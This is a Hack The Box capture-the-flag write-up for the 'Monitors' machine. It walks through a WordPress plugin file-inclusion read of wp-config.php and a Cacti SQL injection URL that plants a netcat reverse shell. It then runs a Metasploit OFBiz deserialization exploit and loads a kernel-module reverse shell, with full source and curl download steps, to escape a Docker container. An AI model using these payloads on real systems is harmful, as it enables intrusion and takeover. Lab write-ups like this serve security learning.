(HTB) Hackthebox Monitors Writeup
(HTB) Hackthebox Monitors Writeup
Protected: [HTB]
Hackthebox
Monitors writeup
Hey guys Mahesh here back again with another writeup and today we’ll be
solving HTB machine called as Monitors so lets hop over to our terminal
where all the good stuff happens ..
Machine INFO
Name Monitors
IP 10.10.10.238
OS LINUX
DIFFICULTY HARD
POINTS 40
So the first step was as always to run a nmap scan and here is the result :
•
After googling for a minute the conclusion was the plugin wp-with-spitz is
vulnerable to LFI let’s try to exploit it .
•
$curl "http://monitors.htb/wp-content/plugins/wp-with-
spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/wordpress/wp
-config.php" | grep -i pass
•
and the password we get as BestAdministrator@2020! Let’s use it with
admin account and boom ! we are loged in
To exploit prepare your netcat listener and two requests. Just paste urls on
your browser setting your ip and port.
1. http://cacti-
admin.monitors.htb/cacti/color.php?action=export&header=false&filt
er=1%27)+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+se
ttings+set+value=%27rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-
i+2%3E%261|nc+10.10.x.x+4444+%3E/tmp/f;%27+where+name=%27path_php_binary%2
7;--+-
2. http://cacti-
admin.monitors.htb/cacti/host.php?action=reindex&host_id=1
•
Now in shell as www-data, do it more interactive $python3 -c ‘import pty;
pty.spawn(“/bin/bash”)’
After juggling around a bit I got this file here
/home/marcus/.backup/backup.sh which contains a password string as
VerticalEdge2020
#sorry guys I don’t have screenshots further for technical reasons but I’ll
explain how i rooted the machine
We’ll need to map some ports to internal docker container through ssh
You can check what is on port 8443 once mapped entering to the
url https://127.0.0.1:8443/ it is tomcat 9.0.31 which is vulnerable to CVE-
2020-9496. We’ll use metasploit
$msfconsole
$use exploit/linux/http/apache_ofbiz_deserialization
$set rhosts 127.0.0.1
$set lhost 10.10.xx.xx
$set forceexploit true
$run
Now after getting the shell its time to exploit it further using following
tutorial here
We need to create 2 files add the following content in the first file and name
it as shell.c
#include
#include
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >&
/dev/tcp/172.17.0.1/4443 0>&1", NULL};
static char* envp[] =
{"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL
};
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
And create a second file containing following things and name it as makefile
obj-m +=shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Now just spin up the python server and copy the files into docker container
using this commands
$python3 -m http.server
$cd /tmp
$curl -L http://10.10.x.x/shell.c -O /tmp/shell.c
$curl -L http://10.10.x.x/Makefile -O /tmp/Makefile
$make
$insmod shell.ko